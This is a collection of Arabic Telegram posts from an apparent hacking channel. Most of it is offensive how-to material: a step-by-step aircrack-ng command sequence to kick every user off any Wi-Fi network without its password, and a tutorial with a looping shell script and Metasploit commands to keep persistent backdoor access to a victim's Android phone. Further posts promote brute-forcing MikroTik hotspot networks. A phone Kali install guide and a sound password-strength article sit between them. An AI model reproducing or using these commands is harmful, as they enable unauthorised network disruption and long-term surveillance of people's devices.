كما وعدتكم

شرح طرد جميع المتصلين من اي شبكه بدون معرفتك للباسورد :
https://youtu.be/lYbulGz5kT4


الاوامر المستخدمه بالترتيب :

ifconfig

airmon-ng start wlan0

airmon-ng check kill

ifconfig

airodump-ng wlan0mon

airodump-ng wlan0mon -w as -c رقم القناه --bssid الماك

aireplay-ng --deauth 0 -a الماك wlan0mon

ملاحظه:
إذا كان اللينيكس عندك مثبت في بيئه وهميه فلازم يكون معك محول شبكه خارجي(wifi adapter) لكن اذا كان اللينيكس مثبت أساسي فما راح تحتاج محول.

˼-ليڤـ|ـآي آلمعتـ|ـم𖤍7¹.˹
https://t.me/pentesting_lab2

السلام عليكم..
◇ شرح تثبيت اللينيكس على الهاتف بدون روت :
كثير منكم طلب مني هذا الشرح بسبب عدم توفر الحاسوب لدى البعض، لكن لا تقلق لا شيء يستطيع منعك من تعلمك للاختراق. اليوم جبت لكم الحل ان شاء الله، سنقوم بتثبيت نسخة كالي نت هنتر على الهاتف واستخدامه بشكل طبيعي جدا من التيرمينال وايضاً واجهه رسوميه ان اردت ذلك، بالطبع لن يكون بكفاءة الحاسوب ولكنه ممتاز جدا اذا كنت مبتدأ بالمجال وحاب تتعلم الاختراق والسايبر سيكيوريتي.
◇ ماهي المتطلبات ؟
اولاً : لازم يكون عندك مساحه متوفره داخليه في الهاتف لا تقل عن 6GB.
ثانياً : الرام لا يقل عن 4GB ويفضل يكون 6GB.
ثالثاً : انترنت سريع لان حجمه قرابة ال2GB.
رابعاً : الصبر يا عزيزي🙂.
◇ حسناً امتلك جميع المتطلبات التي بالاعلى، كيف اقوم بتثبيته ؟
- قبل كل شيء اذا كان معك نسخة تيرميكس حملتها من متجر بلاي وتواجهك فيها مشاكل، قم بحذفها وتحميل النسخه المستقره من هنا :
https://github.com/termux/termux-app/releases/download/v0.118.0/termux-app_v0.118.0+github-debug_arm64-v8a.apk
- قم باعطاء الصلاحيه للتيرميكس :
termux-setup-storage
سيقوم بسؤالك هل تريد اعطاء الصلاحيه؟ اكتب y ومن ثم سماح.
- الان قم بعمل تحديث وترقيه للريبوستوريز من خلال هذا الامر :
apt update && apt upgrade -y
هذا الامر مهم جداً جداً. لازم تنتظر الى ان ينتهي وتتأكد انه تم بشكل صحيح لكي لا تواجهك اي مشاكل.
- سنثبت الاداة التي من خلالها سنقوم بتحميل الكالي نت هنتر عن طريق الامر التالي :
apt install wget
- الان نقوم بكتابة هذا الامر :
wget -O install-nethunter-termux https://offs.ec/2MceZWr
ملاحظه : قم بكتابة الامر وانتبه لحالة الاحرف الكبيره والصغيره جيدا.
نعطي صلاحية التنفيذ للملف الذي قمنا بتحميله :
chmod +x install-nethunter-termux

الان نبدأ تحميل نسخة اللينيكس :
./install-nethunter-termux
الان ماعليك الا ان تنتظر حتى ينهتي من التحميل (حجمه قرابة 2GB وكله على حسب سرعة الانترنت عندك).
عندما يتنهي من التحميل سيعطيك سؤال قم بكتابة n
كذا تم تحميل الكالي نت هنتر عندك بدون اي مشاكل،
◇ ولتبدأ استخدامه من التيرمينال قم بكتابة :
nethunter
او nh
كله صحيح، الان انت في التيرمينال الخاصه باللينيكس وللتأكد من انها شغاله قم بتجربة اي اداه على الينيكس ولتكن nmap مثلاً اكتب :
nmap
وسوف تظهر لك جميع الاوبشينز الخاصه بnmap
◇ كذا كله تمام ولهنا خلص الشرح، عندك الان تيرمينال اللينيكس لكن لو تريد تستخدمه كواجهه رسوميه كمل معي في الشرح..
- نخرج من تيرمينال اللينيكس نكتب:
exit
- في تيرمينال التيرميكس اكتب :
nethunter kex passwd
اكتب باسورد وأكده وانتبه تنساه..
وبعدين جاوب على السؤال ب n

- الان اكتب :
nethunter kex
- خلي التيرميكس شغال بالخلفيه(يعني اخرج منه بزر الهوم الموجود في هاتفك)، روح للمتصفح وابحث عن :
store.nethunter.com
حمل البرنامج وثبته..
- ادخل للبرنامج اللي حملته وابحث عن :
nethunter kex
حمله وثبته..
- قم بالذهاب الى البرنامج الذي حملته :
• في خانة الVNC PASSWORD اكتب الباسورد الذي قمت بعمله مسبقاً.
• في خانة البورت 5900 قم بتغييره الى 5901
• اضغط على connect ومبروك عليك اللينيكس بواجهه رسوميه.
˼-ليڤـ|ـآي آلمعتـ|ـم𖤍7¹.˹
https://t.me/pentesting_lab2
حذفك للمصدر دليل فشلك..،

السلام عليكم..

كيفية عمل باب خلفي (Backdoor) للاندرويد لمواصلة جلسة الاختراق بأي وقت..

بعد ان قمت بعملية اختراق الضحيه وقام بتثبيت التطبيق الذي قمت بارساله له، ستواجهك مشكله وهي ان جلسة الاختراق سوف تغلق اذا انقطع الانترنت من احد الطرفين او قام الضحيه بايقاف تشغيل الجهاز، لتخطي هذه المشكله ومواصلة الجلسه بأي وقت لأشهر وحتى لسنين يجب عمل باب خلفي في جهاز الضحيه.

ستقوم بعمل ملف بامتداد sh في جهازك وليكن على سطح المكتب بأسم backdoor.sh، ستقوم بفتحه وكتابة الكود التالي :

#!/bin/bash
while :
Do am start -user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 10
done

ثم تحفظ الملف.
الان في جلسة الميتربريتر في الميتاسبلويت قم برفع الملف الذي انشأته قبل قليل الى الذاكره الداخليه لجهاز الضحيه عن طريق الامر :

upload /home/kali/Desktop/backdoor.sh /sdcard

مع العلم ان /home/kali/Desktop/ هو مسار الباك دور، في حالتنا هذه يوجد على سطح المكتب،،
ايضاً ال kali هو اسم المستخدم قد يختلف في جهازك.

الان نقوم بفتح جلسة shell في جهاز الضحيه عن طريق الامر :
shell

نتوجه الى الذاكره الداخليه للهدف :

cd /sdcard

تقوم بتشغيل اسكريبت الباك دور الذي قمت برفعه :

./backdoor.sh

الان اخرج من جلسة الشيل بexit، وواصل جلسة الاختراق بكل سلاسه، اذا قام الضحيه بقطع النت سوف تفتح الجلسه تلقائياً عند اتصاله بالانترنت في خلال 10 ثواني.

وبالعافيه للي طلبوا هذا الشرح وغيرهم🙃.

https://t.me/pentesting_lab2

˼-ليڤـ|ـآي آلمعتـ|ـم𖤍7¹.˹

حذفك للمصدر دليل فشلك..،

السلام عليكم ..

في هذا المقال سأتحدث عن كلمات المرور ومدى خطورتها في عمليات الاختراق وكيفية إنشاء كلمة مرور قوية جداً وسهلة التذكر،،

اثبتت دراسات ان اغلب عمليات الاختراق حول العالم هي بسبب اختيار المستخدمين كلمات مرور بسيطه تسهل للمتسللين والقراصنه الالكترونيين من تخمينها وعمل هجمات بروت فورس عليها،
فمثلاً اختيارك لكلمة مرور تكون برقم هاتفك او برقم هاتف احد اقربائك او اصدقائك او مثلا اضافة اسمك او اول حرف من اسمك بعد رقم الهاتف مثلاً :
777543001ahmed
او العكس، ايضاً اختيارك لتاريخ ميلادك مع اسمك، مثلاً :
ahmed2001
ايضاً كلمات المرور الشائعه حول العالم مثل :
12345678
123456123
password
admin
p@ssw0rd
admin@123
اختيارك لمثل كلمات المرور هذه قد تعرضك للإختراق بنسبه كبيره جداً، فالهكر قبل ان يقوم باختراق اي شخص يقوم بجمع معلومات عنه، يعني سيجمع معلومات عن ارقام الاشخاص المقربين اليك ورقمك واسمك وتاريخ ميلادك وووو...، ثم يضع جميع المعلومات التي جمعها عنك في قائمة باسوردات (list) ويقوم بعمل هجوم القوه الغاشمه (Brute force)، واذا كنت تستخدم مثل هذه الباسوردات الضعيفه فسيتم اختراقك بسهوله تامه.

◇ لماذا المستخدمين يضعون مثل هذه الباسوردات الضعيفه على حساباتهم وشبكاتهم؟

حسناً السبب الرئيسي هو تذكرهم لهذه الباسوردات بسهوله، اما اذا اختاروا كلمات مرور صعبه فسوف ينسونها مما يسبب لهم فقدان الحساب، لكن سأعطيكم طريقه لإنشاء كلمات مرور صعبه جداً وسهلة التذكر بنفس الوقت، هناك مئات الطرق ولكن هذه الطريقه مبسطه ورائعه (:

لنفترض انك تحب القراءه، حسناً !
ستكتب
i like reading
سأجعل من هذه الجمله كلمة مرور صعبه التخمين وسهلة التذكر ايضاً، تابع🙃

- اولاً : نجعل بداية كل كلمه حرف capital :
I Like Reading

- ثانياً : نجعل بين كل حرف وحرف رمز، مثلاً سأختار رمز الهاشتاق :
I#Like#Reading
- ثالثاً : اضافة رمز بداية ونهاية الجمله، مثلاً ساين دولار :
$I#Like#Reading$
- رابعاً : وهذا الأهم :
الغلط الأملائي، مثلاً :
$I#Lik#Reading$
هكذا قمت بكتابة كلمة like بشكل خاطئ.

- خامساً : هكذا تكون قويه ويمكنك ايضاً اضافة ارقام، مثلاً تاريخ ميلادك :
$I#Lik#Reading#2001$

من هذه الجمله  i like reading
الى هذه الجمله
$I#Lik#Reading#2001$

هكذا تكون كونت كلمة مرور صعبه جداً وسهلة التذكر ايضاً، يمكنك تذكرها من انها تتكون من جملة "احب القراءه" مع غلط املائي في كلمة like وان كل بداية كلمه حرف كبير وبين كل كلمه وكلمه هاشتاق وبدايه ونهاية الجمله علامه الدولار وبالاخير تاريخ الميلاد، سهلة التذكر اليس كذلك🙂!

المغزى من هذا المثال انه لكي تنشئ كلمات مرور صعبه فقم باستخدام احرف كبيره وصغيره وارقام ورموز..
ايضاً لا تستخدم كلمة مرور واحده لجميع مواقع التواصل، فمهما كانت كلمة المرور قويه فربما تقع في مصيدة احد المخترقين عن طريق الصفحات المزوره او هجمات التصيد او غيرها قد يحصل عليها الهكر ويجرب بها على جميع حساباتك وبسبب ذلك يكون قد انهى وجودك في عالم الانترنت😶.
اما اذا كنت تستخدم كلمات مرور بسيطه او من التي قمت بذكرهن في بداية الشرح فيجب عليك تغييرها الان قبل ان يتم اختراقك يا صديقي *_^

🖋 ˼-ليڤـ|ـآي آلمعتـ|ـم𖤍7¹.˹
https://t.me/pentesting_lab2

حذفك للمصدر دليل فشلك..،

السلام عليكم،
بانشر لكم كل الطرق اللي نشرتها في القناة الاوله لاختراق شبكات الكروت مره واحده وانتوا اختاروا اللي يناسبكم👍🏻.
الطرق👇🏻👇🏻👇🏻

● 1 الطريقه الأولى:
التخمين من اللينيكس (لازم جهاز حاسوب).
👇🏻👇🏻

الشرح اللي انحذف من اليوتيوب

اختراق شبكات الكروت (المايكروتيك) عن طريق هجوم القوه الغاشمه



˼-ليڤـ|ـآي آلمعتـ|ـم𖤍7¹.˹

https://t.me/pentesting_lab2

حذفك للمصدر دليل فشلك..،

الاسكريبت المستخدم في الشرح 👇🏻👇🏻

الاسكريبت المستخدم بالشرح

● 2 الطريقه الثانيه:
التخمين من برنامجي MikrotikBF من الهاتف.
الاصدار الثاني (مافيه خاصية حفظ الكروت).
👇🏻👇🏻

شرح الاضافات الجديده + كيف تعرف ان البرنامج بيشتغل على الشبكه او لا.

هذا الشرح فيه كلام مهم جدا عن تطبيقي Mikrotik BF لازم تسمعه🤝🏻🙂.


شرح معرفة نوع الهجمه بالتفصيل للي ما شافوه :
https://t.me/pentesting_lab2/53